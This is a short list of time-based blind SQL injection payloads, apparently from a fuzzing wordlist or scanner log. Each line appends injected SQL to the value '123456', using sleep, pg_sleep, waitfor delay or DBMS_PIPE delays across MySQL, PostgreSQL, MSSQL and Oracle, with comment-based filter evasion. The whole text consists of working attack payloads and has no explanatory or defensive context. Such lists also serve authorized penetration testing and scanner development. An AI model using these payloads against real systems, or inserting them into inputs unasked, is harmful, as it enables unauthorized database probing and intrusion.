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123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('g',0)

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123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

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